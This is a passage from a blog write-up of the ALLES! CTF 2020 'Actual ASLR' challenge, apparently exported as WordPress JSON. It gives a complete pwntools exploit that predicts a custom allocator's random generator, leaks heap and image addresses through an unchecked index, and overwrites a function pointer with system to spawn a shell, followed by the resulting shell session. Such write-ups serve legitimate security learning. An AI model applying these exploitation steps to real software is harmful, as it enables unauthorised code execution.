aligned with <code>ENTRY<\/code> (this way the offset exactly references one entry). This means that the 3 least significant bits should be equal. Now we only have to count the amount of allocations \/ random generator iterations, which are required to get the desired offset:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\nnum_allocs = 0\naddr = 0\nwhile True:\n  addr = aaslr_malloc(100)\n  if (addr &gt;= entry+8 and addr &lt;= entry+8+0x200 and ((addr&amp;7) == (entry&amp;7))):\n    print(&#039;got in on alloc &#039;+str(num_allocs))\n    break\n  num_allocs += 1\n...\n<\/pre><\/div>\n\n\n<p>After having determined the amount we run the target binary and throw the dice <code>num_allocs<\/code> times. The next allocation made with <code>create_entry<\/code> retrieves the desired offset\/address:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\nio = process(&#039;.\/aaslr&#039;)\nio.recvuntil(&#039;Item:&#039;)\nfor i in range(num_allocs): throw_dice()\ncreate_entry(&#039;&#039;) # this allocation overlaps with an entry\n...\n<\/pre><\/div>\n\n\n<p>At next we make enough allocation in order to populate a pointer to the returned address:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\nptr_leak = 0\nfor i in range(int((addr-entry+8)\/8)-1):\n  create_entry(&#039;&#039;)\n  ptr_leak = aaslr_malloc(100)\n...\n\n<\/pre><\/div>\n\n\n<p>Now we can leak the absolute address of the last allocation through index <code>0<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\np = int.from_bytes(read_entry(0), &#039;little&#039;)\nheap_base = p-ptr_leak\nprint(&#039;heap_base: &#039; + hex(heap_base))\n...\n<\/pre><\/div>\n\n\n<p>Running the script yields the custom heap base address:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n...\nfcn_ptrs: 0xd867\nentry   : 0x8a63\ngot in on alloc 38\n&#x5B;+] Starting local process &#039;.\/aaslr&#039;: pid 2334\nheap_base: 0x7fa08918c000\n<\/pre><\/div>\n\n\n<h3 id=\"imgleak\">Image Base Leak<\/h3>\n\n\n\n<p>Since we are now able to determine the absolute address of allocated chunks, we can use this in order to leak one of the function pointers, which in turn yields the base address of the image.<\/p>\n\n\n\n<p>The absolute address of the function pointers can simply be calculated by adding the offset we determined locally to the heap base address:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\naddr_fcn_ptrs = heap_base + fcn_ptrs\nprint(&#039;addr_fcn_ptrs: &#039; + hex(addr_fcn_ptrs))\n...\n<\/pre><\/div>\n\n\n<p>In order to leak the content of this address, we need to allocate a chunk, which is 8 byte aligned to <code>ENTRY<\/code>. This way we can reference this chunk with the corresponding index. Remember that <code>read_entry<\/code> doesn&#8217;t perform any boundary checks on the entered index, even negative indices are possible (if required to reference our chunk):<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"877\" height=\"423\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_17.png\" alt=\"\" class=\"wp-image-2052\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_17.png 877w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_17-300x145.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/09\/aaslr_17-768x370.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>Again we count the required allocations \/ iterations in order to get the desired offset:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\nnum_allocs = 0\nptr_leak = 0\nwhile True:\n  ptr_leak = aaslr_malloc(100)\n  if ((ptr_leak&amp;7) == (entry&amp;7)):\n    print(&#039;got it on alloc &#039; +str(num_allocs))\n    break\n  num_allocs += 1\n...\n<\/pre><\/div>\n\n\n<p>After the amount is determined, we throw the dice <code>num_allocs<\/code> times and then make the actual allocation. For the data we enter the absolute address of the function pointers:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\nfor i in range(num_allocs): throw_dice()\ncreate_entry(p64(addr_fcn_ptrs))\n...\n<\/pre><\/div>\n\n\n<p>Now we can use the corresponding index in order to read from the previously allocated chunk. The result is the address of the first function pointer (<code>throw_dice<\/code>). By subtracting the offset of the function, we gain the image base address:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\np = int.from_bytes(read_entry(int((addr-entry)\/8)), &#039;little&#039;)\nimg_base = p-0x00001584\nprint(&#039;img_base: &#039; + hex(img_base))\n...\n<\/pre><\/div>\n\n\n<p>Running the adjusted script additionally yields the image base address:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n...\naddr_fcn_ptrs: 0x7fef2fd73c66\ngot it on alloc 14\nimg_base: 0x560bb6a3d000\n<\/pre><\/div>\n\n\n<h3 id=\"overwrite\">Overwriting Function Pointer<\/h3>\n\n\n\n<p>At this point we have everything we need, in order to overwrite the function pointer of <code>error_case<\/code>. So let&#8217;s again use the same technique we used before in order to allocate a chunk, which overlaps with the function pointer of <code>error_case<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\nnum_allocs = 0\nwhile True:\n  addr = aaslr_malloc(100)\n  if (addr &gt; fcn_ptrs+40-100 and addr &lt; fcn_ptrs+32):\n    print(&#039;got it on alloc &#039;+str(num_allocs))\n    break\n  else: num_allocs += 1\nfor i in range(num_allocs): throw_dice()\n...\n<\/pre><\/div>\n\n\n<p>Since <code>system<\/code> is used by the binary itself (to <code>cat<\/code> the first flag), we don&#8217;t need the absolute address of it. Instead we can just use the <code>PLT<\/code> entry, which is relative to the image base address, we already know:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\naddr_system = img_base + 0x00001070\n...\n<\/pre><\/div>\n\n\n<p>Finally we can overwrite the function pointer:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\ncreate_entry(b&#039;A&#039;*(fcn_ptrs-addr+32)+p64(addr_system))\n...\n<\/pre><\/div>\n\n\n<p>If we now enter <code>\"\/bin\/sh\"<\/code> in the main menu, <code>system(\"\/bin\/sh\")<\/code> is executed:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\nio.sendline(&#039;\/bin\/sh&#039;)\nio.interactive()\n\n<\/pre><\/div>\n\n\n<h3 id=\"final\">Final Exploit<\/h3>\n\n\n\n<p>In the final exploit script I added a few performance checks. If the desired offset requires too much allocations, we just proceed to the next second (or start over again, if this happens later in the script). This way we can precalculate a suitable time, at which we should execute the exploit and thus decrease the load on the server and prevent hitting the signal timeout.<\/p>\n\n\n\n<p>The final script looks like this:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/env python3\n\nimport ctypes\nimport time\nfrom pwn import *\n\nRANCTX = &#x5B;0,0,0,0]\n\ndef raninit(n):\n  global RANCTX\n  RANCTX&#x5B;0] = 0xf1ea5eed\n  RANCTX&#x5B;1] = n\n  RANCTX&#x5B;2] = n\n  RANCTX&#x5B;3] = n\n  i = 0\n  while (i &lt; 0x14):\n    ranval()\n    i += 1\n\ndef ranval():\n  mask = 0xffffffffffffffff\n  a = (RANCTX&#x5B;0] - (((RANCTX&#x5B;1]&gt;&gt;5) | (RANCTX&#x5B;1]&lt;&lt;0x1b)) &amp; mask) &amp; mask)\n  RANCTX&#x5B;0] = (RANCTX&#x5B;1] ^ ((RANCTX&#x5B;2]&gt;&gt;0xf) | (RANCTX&#x5B;2]&lt;&lt;0x11))) &amp; mask\n  b = (RANCTX&#x5B;0] + a) &amp; mask\n  RANCTX&#x5B;1] = (RANCTX&#x5B;2] + RANCTX&#x5B;3]) &amp; mask\n  RANCTX&#x5B;2] = (RANCTX&#x5B;3] + a) &amp; mask\n  RANCTX&#x5B;3] = b\n  return b\n\ndef create_entry(data):\n  io.sendline(&#039;2&#039;)\n  io.sendlineafter(&#039;100):&#039;, data)\n  io.recvuntil(&#039;Item:&#039;)\n\ndef read_entry(idx):\n  io.sendline(&#039;3&#039;)\n  io.sendlineafter(&#039;):&#039;, str(idx))\n  r = io.recvuntil(&#039;\\nWelcome&#039;)&#x5B;:-8]\n  io.recvuntil(&#039;Item:&#039;)\n  return r.split(b&#039;. &#039;)&#x5B;1]\ndef throw_dice():\n  io.sendline(&#039;1&#039;)\n  io.recvuntil(&#039;Item:&#039;)\n\ndef aaslr_malloc(n):\n  return ranval() % (0x10000 - n)\n\n\nlibc = ctypes.cdll.LoadLibrary(&#039;\/lib\/x86_64-linux-gnu\/libc.so.6&#039;)\nn = libc.time(0)\n\nwhile True:\n  # ---------------------------------\n  # LOCAL CALCULATION\n  # --&gt; determine time, which produces suitable values\n\n  raninit(n)\n  fcn_ptrs = aaslr_malloc(8)\n  print(&#039;fcn_ptrs: &#039; + hex(fcn_ptrs))\n  entry    = aaslr_malloc(0x7f8)\n  print(&#039;entry   : &#039; + hex(entry))\n\n  # at first we want to leak a heap address\n  # in order to do this we need to create a chunk, which overlapps with entry\n  num_allocs = 0\n  addr = 0\n  while True:\n    addr = aaslr_malloc(100)\n    if (addr &gt;= entry+8 and addr &lt;= entry+8+0x200 and ((addr&amp;7) == (entry&amp;7))):\n      print(&#039;got in on alloc &#039;+str(num_allocs))\n      break\n    num_allocs += 1\n  if (num_allocs &gt; 100):\n    n += 1\n    continue\n\n  log.warning(&#039;continuing ...&#039;)\n  time_now = libc.time(0)\n  log.warning(&#039;sleeping for &#039;+str(n-time_now)+&#039; seconds&#039;)\n  time.sleep(n-time_now)\n  # ---------------------------------\n  # ACTUALLY ESTABLISH CONNECTION\n  io = remote(&#039;localhost&#039;, 1337)\n  io.recvuntil(&#039;Item:&#039;)\n\n  for i in range(num_allocs): throw_dice()\n\n  create_entry(&#039;&#039;) # this allocation overlaps with ENTRY\n  ptr_leak = 0\n  for i in range(int((addr-entry+8)\/8)-1):\n    create_entry(&#039;Y&#039;)\n    ptr_leak = aaslr_malloc(100)\n\n  # now we can leak a heap address through idx 0\n  p = int.from_bytes(read_entry(0), &#039;little&#039;)\n  heap_base = p-ptr_leak\n  print(&#039;heap_base: &#039; + hex(heap_base))\n\n  # now we can determine the address where the fcn_ptrs are stored\n  addr_fcn_ptrs = heap_base + fcn_ptrs\n  print(&#039;addr_fcn_ptrs: &#039; + hex(addr_fcn_ptrs))\n\n  # in order to leak the address we create a chunk, which address them and is aligned with the ENTRY\n  num_allocs = 0\n  ptr_leak = 0\n  while True:\n    ptr_leak = aaslr_malloc(100)\n    if ((ptr_leak&amp;7) == (entry&amp;7)):\n      print(&#039;got it on alloc &#039; +str(num_allocs))\n      break\n    num_allocs += 1\n\n  addr = ptr_leak\n  print(&#039;entry at &#039; + hex(heap_base+entry))\n  print(&#039;addr at  &#039; + hex(heap_base+addr))\n  print(&#039;index = &#039; + str(int((addr-entry)\/8)))\n  for i in range(num_allocs): throw_dice()\n  create_entry(p64(addr_fcn_ptrs))\n  p = int.from_bytes(read_entry(int((addr-entry)\/8)), &#039;little&#039;)\n  img_base = p-0x00001584\n  print(&#039;img_base: &#039; + hex(img_base))\n\n  # now lets find a chunk before the error_case fcn_ptr\n  num_allocs = 0\n  while True:\n    addr = aaslr_malloc(100)\n    if (addr &gt; fcn_ptrs+40-100 and addr &lt; fcn_ptrs+32):\n      print(&#039;got it on alloc &#039;+str(num_allocs))\n      break\n    else: num_allocs += 1\n  if (num_allocs &gt; 400):\n    io.close()\n    n = libc.time(0)\n    continue\n  log.warning(&#039;continuing ...&#039;)\n\n  for i in range(num_allocs): throw_dice()\n  addr_system = img_base + 0x00001070\n  create_entry(b&#039;A&#039;*(fcn_ptrs-addr+32)+p64(addr_system))\n  log.warning(&#039;trying to spawn \/bin\/sh&#039;)\n  io.sendline(&#039;\/bin\/sh&#039;)\n  io.interactive()\n  quit()\n<\/pre><\/div>\n\n\n<p>Directly connecting to the CTF server (SSL) from pwntools did not work for some reason (even when providing <code>ssl=True<\/code>). Instead of digging deeper into the issue, I simply used <code>ncat<\/code> to unwrap SSL:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nkali@kali:~\/ctf\/alles20\/aaslr$ while true; do ncat -l localhost 1337 --sh-exec &#039;ncat --ssl 7b00000033cee663d117bcd3.challenges.broker4.allesctf.net 1337&#039;; done\n<\/pre><\/div>\n\n\n<p>This way we can simply connect to <code>localhost:1337<\/code> (unencrypted).<\/p>\n\n\n\n<p>Running the final script yields a shell:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nkali@kali:~\/ctf\/alles20\/aaslr$ .\/final.py\nfcn_ptrs: 0x4617\nentry   : 0x33af\ngot in on alloc 351\n...\nfcn_ptrs: 0xfc66\nentry   : 0xbd19\ngot in on alloc 51\n&#x5B;!] continuing ...\n&#x5B;!] sleeping for 5 seconds\n&#x5B;+] Opening connection to localhost on port 1337: Done\nheap_base: 0x7fef2fd64000\naddr_fcn_ptrs: 0x7fef2fd73c66\ngot it on alloc 14\nentry at 0x7fef2fd6fd19\naddr at  0x7fef2fd64261\nindex = -5975\nimg_base: 0x560bb6a3d000\ngot it on alloc 232\n&#x5B;!] continuing ...\n&#x5B;!] trying to spawn \/bin\/sh\n&#x5B;*] Switching to interactive mode\n\n$ id\nuid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n$ ls -al\ntotal 60\ndrwxr-xr-x. 2 root root   109 Sep  3 15:32 .\ndrwxr-xr-x. 3 root root    17 Sep  3 15:32 ..\n-rw-r--r--. 1 root root   220 Apr  4  2019 .bash_logout\n-rw-r--r--. 1 root root  3771 Apr  4  2019 .bashrc\n-rw-r--r--. 1 root root   807 Apr  4  2019 .profile\n-rwxr-xr-x. 1 root root 17872 Jul 22 18:50 aaslr\n-rw-r--r--. 1 root root    55 Aug 14 16:52 flag1\n-rw-r--r--. 1 root root    37 Aug 14 16:52 flag2\n-rwxr-xr-x. 1 root root 18744 Jul 22 18:50 ynetd\n$ cat flag1\nALLES{Well...More_memory_would_make_it_S3CURE!RIGHT?!}\n<\/pre><\/div>\n\n\n<p>The second flag is <code>ALLES{Well...More_memory_would_make_it_S3CURE!RIGHT?!}<\/code>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The ALLES! CTF (ctftime.org) took place from 04\/09\/2020, 16:00 UTC to 06\/09\/2020, 19:00 UTC with a variety of interesting, creative challenges. Within this article I want to share my writeup on the two challenges Actual ASLR 1 and 2, which were authored by LiveOverflow. What I especially liked about the challenge(s) is that you could &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/devel0pment.de\/?p=2027\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;ALLES! CTF 2020 &#8211; Actual ASLR 1\/2&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24,7],"tags":[20,44,10],"class_list":["post-2027","post","type-post","status-publish","format-standard","hentry","category-ctf","category-writeup","tag-ctf","tag-exploitation","tag-pwn"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/2027"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2027"}],"version-history":[{"count":35,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/2027\/revisions"}],"predecessor-version":[{"id":2081,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/2027\/revisions\/2081"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2027"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2027"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2027"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}